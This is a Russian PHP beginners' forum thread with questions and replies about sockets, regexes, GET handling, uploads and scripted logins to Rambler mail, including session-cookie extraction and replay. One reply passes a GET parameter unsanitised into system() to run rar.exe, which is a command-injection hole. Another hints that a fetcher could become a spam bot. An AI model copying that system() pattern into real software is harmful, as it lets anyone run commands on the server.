Просмотр полной версии : [php] Новичкам: задаем вопросы
тогда в каких случаях $a == $b может быть false, а $a === $b true? при одних и тех же $a и $b
<?php
$a = 1;
$b = '1';
if ($a == $b)
echo "== go on ...";
if ($a ===$b)
echo "=== go as well";
?>
выведет:
== go on ...
brasco2k
11.03.2008, 21:31
у меня такой вопрос:
есть часть кода :
if(!mysql_num_rows($result)) { die("Вы ввели неправильный email/пароль <script>document.location.href='/index.php?status=wrong'</script>"); }
а на страничке index.php нужно както высветится этому : Вы ввели неправильные данные..
у меня стоит такой код:
<?php if($status=='wrong') { echo "<td>Вы ввели неправильные логин или пароль!</td>"; } ?>
Почему не работает?? подскажите как надо////
надо так
if ($_GET[status]=='wrong') {
//код
}
astrologer
11.03.2008, 21:41
brasco2k, наверное, register_globals = off
Тогда надо так:
<?php
if($_GET['status'] == 'wrong') echo '<td>Вы ввели неправильные логин или пароль!</td>';
?>
у тя гет передается с параметром тебе нужно его выцепить т.е.
$status = $_GET['status'];
и дальше if($status=='wrong') гы гы гы
gibson лучше не называть одинаково переменные в скрипте и переменные, которые передаются в запросе
brasco2k
11.03.2008, 22:24
надо так
if ($_GET[status]=='wrong') {
//код
}
О да спасибо)
просто не так чуть чкть делал))
if ($_GET[;status]=='wrong') {
//код
}
xDD
дайте элементарный пример работы php с https (ssl). БЕЗ CURL!!!
мануалы на русском приветствуються
на англиском тоже прокатит =\
неможет быть.
обычные сокеты (socket_... , а не fsockopen) должны уметь.
presidentua
12.03.2008, 02:13
неможет быть.
обычные сокеты (socket_... , а не fsockopen) должны уметь.
Isis прав. Юзай Курл.
Конечно можна сделать свою реализацию на сокетах, но при этом тебе нада реализовывать самому шифрования, а это не очень то просто и очень-очень долго.
мде.... ладно спасибо. буду учить curl
))
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!
Любым бесконечным циклом (например while (1) echo 'ddr'; ) . Если лимита нет, или он очень большой, то скрипт не остановит свое действие.
Хотя зависит от того, для чего ты спрашиваешь. Если вопрос относится к серверу, не пренадлежащему тебе, то легальными способами никак...
Скажите: как определить работает ли set_time_limit(0) ?
Спасибо!
<?php
var_dump(set_time_limit(0));
?>
Если bool(true) значит всё ок.
<?php
if(function_exists('set_time_limit'))
echo 'Такайа функция есть';
?>
Isis не тру. Если будет стоять safe_mode , то твой скипт выдаст как "такая функция есть", т.к. она определена в настройках
Приведите пожалуста пример скрипта, основные функции обработка текста мз textarea, построчно... и затем использование каждого слова в сокет запросе и вывод результата на экран... Если еть у кого примеры выложите пож...
Строки в textarea ресделяются \n
Передаются строкой.
Слова разделяются пробелом.
Ничего особого сдесь нету
bul.666, а условие для сейф мода добавить сложно?:)
bul.666 примерчик можно..... когда видишь код, легче все понять...
и затем использование каждого слова в сокет запросе и вывод результата на экран.
Тоесть каждый раз новый результат с новым словом?
.:EnoT:.
13.03.2008, 18:01
Zircool
Не понял куда текст тебе из текстареи пихать надо, поэтому в общих чертах это будет выглядеть так:
<?php
$text = 'Мего текст, супер текст, текст нах';
$mda = explode(" ", $text);
$kolvo = count($mda);
for($i=0; $i<=$kolvo; $i++)
{
#Работаем с сокетами
#$i Это слово
}
?>
.:EnoT:.
for($i=0; $i<$kolvo; $i++)
xaker-boss
13.03.2008, 18:26
Люди помогите, нужен php-скрипт который запустиш и он рядом с ним лежащий орхив (123.rar) или (123.zip) разорхивирует в деректорию где лежит сам скрипт.
плиз
.:EnoT:.
13.03.2008, 18:29
k1b0rg
Не согласен)) хотя результат один и тот же.
Потому что при 6-м проходе цикла, когда $i будет равняться 6, то есть $i=count($mda), цикл пойдёт выводить 6-й элемент массива. Поэтому в данном случае имхо лучше использовать $i<=$kolvo, а не $i<$kolvo, хотя опять же говорю результат один и тот же...
Забыл добавить что $i это слово, а выводить надо вот так $mda[$i]
но эт уже мелочи)
<?php
if(function_exists('set_time_limit'))
echo 'Такайа функция есть';
?>
function_exists проверяет фенкцию на существование, но не как ни на то, что она возвратит.
2xaker-boss
http://ru2.php.net/manual/ru/ref.zip.php
Забыл добавить что $i это слово, а выводить надо вот так $mda[$i]
$i не слово а ключ =))))))
$mda[$i] - слово ^^
.:EnoT:.
13.03.2008, 18:37
2xaker-boss
http://www.cms-service.ru/file-9.html
уже готовое, phplib это библиотека для работы с архивами, extract.php - файл для распаковки))
k1b0rg
Не согласен)) хотя результат один и тот же.
count показывает кол-во элементов, в человеческой форме, т.е. с 1..
у тебя 6 слов, 6 элементов массива..
а цикл ты начинаешь от 0, т.к. элементы нумеруются с нуля, и поэтому цикл должен идти до count()-1
цикл пойдёт выводить 6-й элемент массива.
Шестой элемент - не цифра шесть, а 5!
0 1 2 3 4 5
mouse.pro
13.03.2008, 19:35
Для Windows с rar и zip можно подругому работать )
Понадобится вот этот скрипт:
<pre>
<?
$archive = $_GET['archive'];
system("rar.exe e ".$archive);
?>
</pre>
и консольное rar приложение, которое находится в папке с WinRAR'ом (обычно это C:\Program Files\WinRAR\rar.exe) копируй его в папку с скриптом и все)
запускать так: http://site/script.php?archive=e 123.rar
ToniKapuchon
13.03.2008, 20:24
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??
<?
$host="rambler.ru";
$port="80";
$post="domain=rambler.ru&url=7&login=4444&passw=44444";
$httpq =
"POST http://rambler.ru/script/auth.cgi HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n".$post;
$sock = fsockopen($host, $port, $errno, $errstr, 5);
if($sock)
{
fwrite($sock, $httpq);
$cont = fread($sock, 6500);
}
$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;
?>
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??
вот тут:
"Content-Length: ".strlen($post)."\r\n".$post;
надо
"Content-Length: ".strlen($post)."\r\n\r\n".$post;
ToniKapuchon
13.03.2008, 20:46
ответ один и тот же!!
Читай ответ не
$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;
а из сокета
$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $httpq);
while(!feof($sock)) {
echo fread($sock, 128);
}
fclose($sock);
хочу авторизироваться на ramblere.... вот чё написал... но почему то не пашед??
Стоп-стоп-стоп...
До сюда не дочитал, а надо бы:
$xeka = file_get_contents('http://mail.rambler.ru/mail/startpage?');
echo $xeka;
И откуда, спрашивается, рамблер узнает, кто ты? Ты бы ему куки для приличия передал!
Из своего $cont извлекаешь куки, а дальше АНАЛОГИЧНО первому запросу отправляешь request на http://mail.rambler.ru/mail/startpage? , но уже с извлечёнными куками!!!
ToniKapuchon
13.03.2008, 21:10
Читай ответ не
а из сокета
$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $httpq);
while(!feof($sock)) {
echo fread($sock, 128);
}
fclose($sock);
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.26 Date: Thu, 13 Mar 2008 17:08:51 GMT Content-Type: text/html Content-Length: 161 Connection: close Location: http://www.rambler.ru/script/auth.cgi
302 Found
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.26 Date: Thu, 13 Mar 2008 17:08:51 GMT Content-Type: text/html Content-Length: 161 Connection: close Location: http://www.rambler.ru/script/auth.cgi
302 Found
Ну, что я и говорил - кук нет - тебя и посылают в авторизацию!
ToniKapuchon
13.03.2008, 21:14
напиши плиз, как из ответа извлечь куки.... если не сложн!!
В ответе($cont) есть строки вида:
Set-Cookie: rsid=123456789123456789123456789; domain=.rambler.ru; path=/; httponly
Set-Cookie: rlogin=12345@rambler.ru; domain=.rambler.ru; path=/
Находишь их, дальше берёшь rsid из одной(от знака равно до точки с запятой), сохраняншь в $rsid;
rlogin из второй(так же), сохраняншь в $rlogin;
а в запрос к startpage
пишешь
$httpq =
"GET http://что-то тута HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Cookie: rsid=".$rsid."; rlogin=".$rlogin;
да, кстати, у тебя превый запрос тоже неправильный:
не
$httpq =
"POST http://rambler.ru/script/auth.cgi HTTP/1.1\r\n".
,а
$httpq =
"POST http://mail.rambler.ru/script/auth.cgi HTTP/1.1\r\n".
Проблемка маленькая написал скрипт для чека сайтов на пр... смасл таков в скрипте форма textarea вводишь в нее заголовки сайтов и скрипт чекает сайты на пр и выводит их....но скрипт почемцто выводит только пр последгнего сайта в списке... в чем может быть проблема..
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
}
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>
Zircool,
вместо
$hosts=explode("\n", trim($zapros));
надо
$hosts=explode("\r\n", trim($zapros));
И вообще, дружите с отладчиком!
!{ra!{e/\/
14.03.2008, 14:56
как построить регулярное выражение чтоб присутствовали лолько
1.русские буквы
2.только числа
1. ^[а-яА-Я]*$
2. ^[0-9]*$
(если не дробные)
edited
А если дробные, то
^[0-9]*[0-9].[0-9][0-9]*$
(вместо . может быть ,)
если без ведущих нулей, то
^[1-9][0-9]*[0-9].[0-9][0-9]*$
а ещё и без последних:
^[1-9][0-9]*[0-9].0*[1-9][0-9]*[1-9]$
^[А-я0-9\.]$
Не совсем:
Вот такое вот не хорошо:
123.
ЗЫ А я понял, что надо по-отдельности...
ToniKapuchon
14.03.2008, 17:25
Опять помогите, пишу авторизацию на рамблере, вот что получается:
<?
//$xeka = file_get_contents('http://rambler.ru');
$host="mail.rambler.ru";
$port="80";
$post="domain=rambler.ru&url=7&login=ЛОГИНСВОЙ&passw=ПАРОЛЬ";
$httpq =
"POST http://mail.rambler.ru/script/auth.cgi HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://www.rambler.ru\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n\r\n".$post;
$sock = fsockopen($host, $port, $errno, $errstr, 5);
if($sock)
{
fwrite($sock, $httpq);
$cont = fread($sock, 6500);
fclose($sock);
}
ereg('[a-z0-9]{32}',$cont, $rsid);
ereg('([a-zA-Z0-9]+@[a-zA-Z0-9.]+(.[a-zA-Z0-9]))',$cont, $rlogin);
$usl1=ereg('http://id.rambler.ru/script/auth.cgi[?]mode=checkcookie;sid=[a-z0-9]{32};back=http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fst artpage%3F[0-9]{4}', $cont, $outcode);
$mas=$outcode[0];
$xek = file_get_contents($mas);
ereg('mail.cgi[?]mode=mailbox;mbox=INBOX%26r%3D[a-z0-9]{4}', $xek, $sam);
ereg('http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fstartp age%3F[0-9]{4}', $cont, $referer);
ereg('[0-9]{4}',$referer[0],$lodka);
$po='/mail/'.$sam[0];
$http2 =
"GET http://mail.rambler.ru".$po." HTTP/1.1\r\n".
"Host: mail.rambler.ru\r\n".
"Referer: http://mail.rambler.ru/mail/startpage?".$lodka[0]."\r\n".
"Accept-Language: ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) \r\n".
"Cookie: rsid=".$rsid[0]."; rlogin=".$rlogin[0].";\r\n\r\n";
$sock2 = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock2, $http2);
while(!feof($sock2))
{
echo fread($sock2,128);
}
fclose($sock2);
?>
При открытии етого скрипта загружается страница с твоими письмами на рамблере.... письма открылись и начинается затуп, какой то .... то ли джаваскрипты там так хавает... в чём дело подскажите!!
Опять помогите, пишу авторизацию на рамблере, вот что получается:
При открытии етого скрипта загружается страница с твоими письмами на рамблере.... письма открылись и начинается затуп, какой то .... то ли джаваскрипты там так хавает... в чём дело подскажите!!
Хто начинается? о_0?
ToniKapuchon
14.03.2008, 17:46
страница до конца не грузиться!!
Такой вопрос стоит AppServer 2.5.8 записываю в БД данные а мне выводит
Incorrect string value: '\xC4\xEE\xE1\xE0\xE2\xE8...' for column 'comment' at row 1
всё нашёл ответ надо было делать так сначала
('SET NAMES cp1251');
ToniKapuchon
Опять помогите, пишу авторизацию на рамблере, вот что получается
почму сокеты дважды открываешь?
страница до конца не грузиться!!
может там аякс фича какая, а с твоими куками естессно не грузица..
ToniKapuchon
14.03.2008, 18:27
ToniKapuchon
почму сокеты дважды открываешь?
может там аякс фича какая, а с твоими куками естессно не грузица..
То что нужн оно загружает! а когда начинает грузить какуюто херь, типа ссылок на разработчиков рамблера.... начинается затуп!
Сокеты открываю два раза, потому что ламер ))) исправлюсь!
читал статью про подпись на форуме (показывает ip, браузер), можно ли чтоб при открытие картинки png играла музыка. если да то как)
astrologer
14.03.2008, 20:56
читал статью про подпись на форуме (показывает ip, браузер), можно ли чтоб при открытие картинки png играла музыка. если да то как)нельзя
SlyFlex, я не совсем понял... Но если это у тебя на сайте хочеш замутить, то врубаеш музыку, делаеш функцию stop() при которой музыка престаёт играть и получается в бади <bod onload="stop()"> вот пока страница не загрузится будет играть музыка
(вот только я незнаю можно-ли останавливать музыку... Но палюбому это не по PHP вопрос, иди в js)
Есть строка "bla bla bla... day=10 bla bla bla..."
нужно что бы после "day=(число)" добавилось ".11"
пробовал eregi_replace но он просто заменяет "day=(число)" на ".11"
preg_replace
day=(\d+) заменить на \1.11
всёравно заменяет =\
дай пример кода пжст.
Ponchik, вообще я хочу чтоб на моей страничке "вконтакте" играла музыка.
SlyFlex. Во первых чтобы картинка png обрабатывалсь как php файл надо доступ к .htaccess.
Во вторых это php а не JS.
В третьих доступа к HTML вконтакте у тебя нету (или есть? :D )
всёравно заменяет =\
дай пример кода пжст.
Try this
$string = 'bla bla bla... day=10 bla bla bla...';
$new_string = preg_replace('~(day=\d+)~', '\\1.11', $string);
NOmeR1
спс! а есть регистронезависимый вариант этой функции?
SlyFlex. Во первых чтобы картинка png обрабатывалсь как php файл надо доступ к .htaccess.
Во вторых это php а не JS.
В третьих доступа к HTML вконтакте у тебя нету (или есть? :D )
я и не говорил, что это ява)
ну естественно у мя нет досиупа там к html...
значит я не смогу поставить музыку никак?(
как можно вывести текст на картинке ровно по центру ?
если пишеш координаты центра картинки то появляеться где то в правом боку!
короче как можно узнать длину ширину картинки и текста который мы пишем
ToniKapuchon
15.03.2008, 19:07
$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $http2);
while(!feof($sock))
{
echo fread($sock, 128);
}
Получилась некоторая страничка, подскажите как мне обратиться к получившейся страничке! хочу с помощью ereg что то найти!?
как вариант. выводи инфу не в екран а в файл. потом открывай файл и ищи там
или же делай так
$sock = fsockopen($host, $port, $errno, $errstr, 5);
fwrite($sock, $http2);
$content='';
while(!feof($sock))
{
$content .= fread($sock, 128);
}
//и тут уже делай с $content-ом твой ereg
как можно вывести текст на картинке ровно по центру ?
если пишеш координаты центра картинки то появляеться где то в правом боку!
короче как можно узнать длину ширину картинки и текста который мы пишем
это уже по хтмлу вопрос...
как вариант:
<div style="background-image: 'hz.jpg'"><table height="100%" width="100%"><TR><TD>My TeXt iS HErE!</TD></TR></TABLE></div>
Если не напутал, то так...
desTiny тут вариант с капчей скорее всего. нах тогда пхп?
Piflit, автор пишет: если пишеш координаты центра картинки то появляеться где то в правом боку!
Видимо как раз картинка, а поверх - текст...
Получилась некоторая страничка, подскажите как мне обратиться к получившейся страничке! хочу с помощью ereg что то найти!?
пример: поисковик
<?php
set_time_limit(128);
if($_POST['act'])
{
$host = isset($_POST['host']) ? $_POST['host'] : "";
$path = isset($_POST['path']) ? $_POST['path'] : "";
$search = isset($_POST['search']) ? trim($_POST['search']) : "";
if(!$host && $port && $path && $time_out && $search)
{
echo("Заполни все поля!");
}
else
{
$sock = fsockopen($host, 80, $errno, $errstr, 4);
if(!$sock)
{
echo("$errstr ($errno)<br />\r\n");
}
else
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";
fputs($sock, $headers);
while(!feof($sock))
{
$line = fgets($sock, 1024);
if(@preg_match("/.*$search+/i", $line))
{
$result[] = $line;
}
}
if($result)
{
echo("Результаты поиска:<br />\r\n");
for($i = 0; $i < count($result); $i++)
{
echo($result[$i]."<br />\r\n");
}
}
else
{
echo("Слово не найдено!");
}
}
fclose($sock);
}
}
print('<form action="'.$_SERVER['PHP_SELF'].'" method="post"><br />'."\r\n");
print('Host:<input type="text" name="host"><br />'."\r\n");
print('Path:<input type="text" name="path"><br />'."\r\n");
print('String:<input type="text" name="search"><br />'."\r\n");
print('<input type="submit" name="act" value="Go!">');
print('</form><br />'."\r\n");
?>
а если чуть потрудится :)) можно спам-бот написать!
чуть-чуть потрудиться придется!!! :rolleyes:
echo("...");
print('...');
Зачем скобки? echo и print не "функции"
Надо текст выводимый поверх картинки расположить ровно по центру картинки!
В скрипте так
http://i034.radikal.ru/0803/c1/2e6599103f3a.jpg при указание координат центра картинки x50 y50
а надо вот так
http://i024.radikal.ru/0803/bb/99e2b55e5f4a.jpg при указание координат x35 y35
короче как узнать скока пикселей картинка и вписываемый поверх текст по ширине и высоте??????
echo("...");
print('...');
Зачем скобки? echo и print не "функции"
у каждого свои стиль программирования !
:cool:
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}
print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>
NOmeR1
спс! а есть регистронезависимый вариант этой функции?
$string = 'bla bla bla... day=10 bla bla bla...';
$new_string = preg_replace('~(day=\d+)~i', '\\1.11', $string);
Всего лишь 1 символ добавил.
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}
print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>
Если это тот код, который ты давал раньше с моим исправлением, то лично у меня он работает :)
desTiny да это тот скрипт, но посмотри на результат работы скрипта, все остальные сайты, пр которых ты хотел узнать, имеют то же пр что и первый сайт....
привет свем..Ребята такая проблема со скриптом... Скрипт для чека списка сайтов на Pr.. Но когда скписок вводишь он чекает но результат первого сайта приписывается всем остальным сайта... помогите разобраться...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<form method='get'>
<textarea rows=15 cols=45 name=str></textarea></br>
</br>
<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
}
print "Сайт: $hosts[$i]<br>";
print "$got<br>";
}
}
?>
Держи!
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
print('<form method="get">');
print('<textarea rows="15" cols="45" name="str"></textarea>'."<br />\r\n");
print('<input type="submit" name="sub" value="Go!" />'."<br />\r\n");
print('</form>');
if(isset($_GET['sub']))
{
$img="";
$zapros=$_GET['str'];
$hosts=explode("\r\n", trim($zapros));
for ($i=0;$i<count($hosts);$i++)
{
$sock=@fsockopen("www.be1.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"GET /stat/?url=http%3A%2F%2F".$hosts[$i]."%2F HTTP/1.0\r\n".
"Host: www.be1.ru\r\n".
"Referer: http://www.be1.ru\r\n\r\n"
);
}
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($img, "Google Page Rank");
$got=substr($img,$pos,20);
$data[] = $hosts[$i]."<br />\r\n".$got."\r\n";
unset($img);
}
for($i =0; $i < count($data); $i++)
{
print ('Сайт: '.$data[$i]."<br>\r\n");
}
}
?>
:o
все я спать!
spamoney
16.03.2008, 06:44
Всем, привет, нужна помощь по такому вопросу:
Вообщем нужно избавиться от внешних ссылок на сайте, можно ли написать такую функцию которая бы искала в тексте:
ссылку, допустим:
<a href="http://ssilka.ru/bla.html" target="_blank" title="http://ssilka.ru/bla.html">
и если, адрес не содержит адрес самого сайта (то есть моего сайта), то в функции происходила бы замена этого адреса на:
<a href="#" target="_blank" onclick="javascript:this.href='http'+'://ssilka.ru/bla.html'" onmouseover="this.href='http'+'://ssilka.ru/bla.html'">
можно ли написать такую функцию которая бы искала в тексте:
можно
<?php
$fullitself='текст в котором будем искать';
$nachalo='словосочетание перед этим текстом который нужно найти';
$konec='словосочетание после этого текста который нужно найти';
$temp=explode($nachalo,$fullitself);
$semp=explode($konec,$temp[1]);
$negr=$semp[0];
echo $negr;
?>
!{ra!{e/\/
16.03.2008, 18:01
Передаю post на страницу
...........
$file1=$_FILES["myfile"];
...........
if (copy($file1['tmp_name'],"Z:\images\".$file1['name']))
выдает ошибку
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in Z:\home\localhost\www\load.php в строке
if (copy($file1['tmp_name'],"Z:\images\".$file1['name']))
что неправильно?
http://ru2.php.net/move_uploaded_file ... наверное не просто так придумано =\
VDShark, ога? А ничего что у него в синтаксе ошибка?
if (copy($file1['tmp_name'],"Z:\images\\".$file1['name']))
Всем, привет, нужна помощь по такому вопросу:
Вообщем нужно избавиться от внешних ссылок на сайте, можно ли написать такую функцию которая бы искала в тексте:
ссылку, допустим:
<a href="http://ssilka.ru/bla.html" target="_blank" title="http://ssilka.ru/bla.html">
и если, адрес не содержит адрес самого сайта (то есть моего сайта), то в функции происходила бы замена этого адреса на:
<a href="#" target="_blank" onclick="javascript:this.href='http'+'://ssilka.ru/bla.html'" onmouseover="this.href='http'+'://ssilka.ru/bla.html'">
подойдет!? :)
<?php
function fwr($code)
{
$handle = @fopen("new_text.html", "a");
fwrite($handle, $code."\r\n");
fclose($handle);
}
$fp = "./text.html";
$addr = "mysite.ru";
$handle = @fopen($fp, "r");
while(!feof($handle))
{
$line = fgets($handle, filesize($fp));
if(@preg_match("{(<a href.*=.*\"http:\/\/)(.+)(\">)(.+<\/a>)|(<a href.*=.*\"http:\/\/)(.+)(\/.*\">.+)(<\/a>)}i", $line, $matches))
{
$s = explode("/", $matches[2]);
if($code = preg_replace("|$s[0]|", $addr, $line))
{
fwr($code);
}
}
else
{
fwr($line);
}
}
fclose($handle);
?>
VDShark, ога? А ничего что у него в синтаксе ошибка?
if (copy($file1['tmp_name'],"Z:\images\\".$file1['name']))
Я не к тому. Просто при copy - файл останется там же где был, просто создстся его копия. А move_uploaded_file именно переместит... можно конечно использовать потом удаление дополнительно, или rename... но зачем лишние телодвижения.
Я не к тому. Просто при copy - файл останется там же где был, просто создстся его копия. А move_uploaded_file именно переместит... можно конечно использовать потом удаление дополнительно, или rename... но зачем лишние телодвижения.
Мда... А тэмповый файл, что не удаляется после копирования?
Да, действительно - подзабыл :) Ща зарылся в доки и нашел что действительно удаляется... но эта функция все же не просто так была создана. Она проверяет действительно ли файл явл-ся загруженным на сервер, а не кто то там его подсунул или откедат взялся... Ну если эта проверка не нужна - тогда впринципе можно не париться.
подскажите как сделать, чтоб функция читала из файла и вписывала содержимое в код?!
iron-viper
17.03.2008, 23:54
Сам спросил - сам ответил. Молодец! И главное 30 минут потратил на поиск варианта! Отлично!
i_am_banana
19.03.2008, 01:56
Скрипт для отображения картинок и текстовиков на серваке....ну эм типа мини галереи...
$listok='index.php';
if ($handle = opendir('./'))
{
echo "Ваши файлы:<BR><BR>";
while (false !== ($file = readdir($handle)))
{
if(is_file($file))
{
if($file!=$listok and $file!='style.css')
{
print"<table align='center' style='font-size:13;font-family:Comic Sans MS;width:300;height:200;border:solid black 1;'>\n";
print"<tr><th style='width:150px;'>\n";
print"<A HREF='$file' target='blank'>\n";
print"<img src='$file' style='border:dotted 1 silver;width:150;height:130;'></a>\n";
print"</th><th>".$file."\n<br></th></tr></table>\n";
}
}
}
closedir($handle);
}
?>
Вопрос Как сделать чтобы ещё папки отображались?
life_is_shit
19.03.2008, 02:49
$listok='index.php';
if ($handle = opendir('./'))
{
echo "Ваши файлы:<BR><BR>";
while (false !== ($file = readdir($handle)))
{
if(is_file($file))
{
if($file!=$listok and $file!='style.css')
{
print"<table align='center' style='font-size:13;font-family:Comic Sans MS;width:300;height:200;border:solid black 1;'>\n";
print"<tr><th style='width:150px;'>\n";
print"<A HREF='$file' target='blank'>\n";
print"<img src='$file' style='border:dotted 1 silver;width:150;height:130;'></a>\n";
print"</th><th>".$file."\n<br></th></tr></table>\n";
}
}
else
print $file.'<br>';
}
closedir($handle);
}
?>
попробуй так к примеру, если я правильно тебя понял.
i_am_banana
19.03.2008, 02:53
угу...терь папки отображаются....тока в них нельзя зайти -)
life_is_shit
19.03.2008, 02:57
вместо print $file.'<br>';
попробуй написать print '<a href="'.$file.'">'.$file.'</a><br>';
presidentua
19.03.2008, 03:58
Немного не в тему, но всеже. Как в МуСкуле написать в запросе ЛАЙК, чтобы спецсимволы не воспринимались как спецсимволы, тоесть такие как % _ и другие
life_is_shit
19.03.2008, 04:18
\% Соответствует одному символу `%'
\_ Соответствует одному символу `_'
и тд
2 presidentua,
<?php
$str = 'Ya_xeker???%)))_))';
$str = str_replace(array('_', '%'), array('\_','\%'), $str);
$query = mysql_query("SELECT * FROM `table` WHERE `xek` LIKE '%".$str."%'");
//etc....
?>
посоветуйте что нибудь для новичка почитать
-=lebed=-
19.03.2008, 09:05
посоветуйте что нибудь для новичка почитать
http://php.su - не плохой сайт, сам честенько туда заглядываю...
temp_late
19.03.2008, 20:22
Нуждаюсь в помощи, нужно определить версию браузера и операционной системы в отдельных переменых словно как делает в функции:
get_browser('browser');
но она не подходит, не на всех веб хостингах она используется, точнее я еще не один не встретил...
можно попробовать про парсировать $_SERVER['HTTP_USER_AGENT'];
но я не особо владею языком регулярных выражений.
Мне нужно что бы возращало браузер и версию операционной системы, даже если запрос будет поделан например в место ос будет написано слово из трех букв..
astrologer
19.03.2008, 20:29
Нуждаюсь в помощи, нужно определить версию браузера и операционной системы в отдельных переменых словно как делает в функции:
get_browser('browser');
но она не подходит, не на всех веб хостингах она используется, точнее я еще не один не встретил...
можно попробовать про парсировать $_SERVER['HTTP_USER_AGENT'];
но я не особо владею языком регулярных выражений.
Мне нужно что бы возращало браузер и версию операционной системы, даже если запрос будет поделан например в место ос будет написано слово из трех букв..Если запрос будет подделан, то ничего не выйдет. Нельзя быть уверенным даже в том, что запрос вообще исходил от браузера. Это может быть такой же php-скрипт.
temp_late
19.03.2008, 20:44
Хочу написать скрипт статистики посещаемости, под какими браузерами и под какими системами пользователи бывают на сайте, при обнаружение например нового браузера которого нету в базе статистике, он дабавляется туда.
можно взять из любого пака
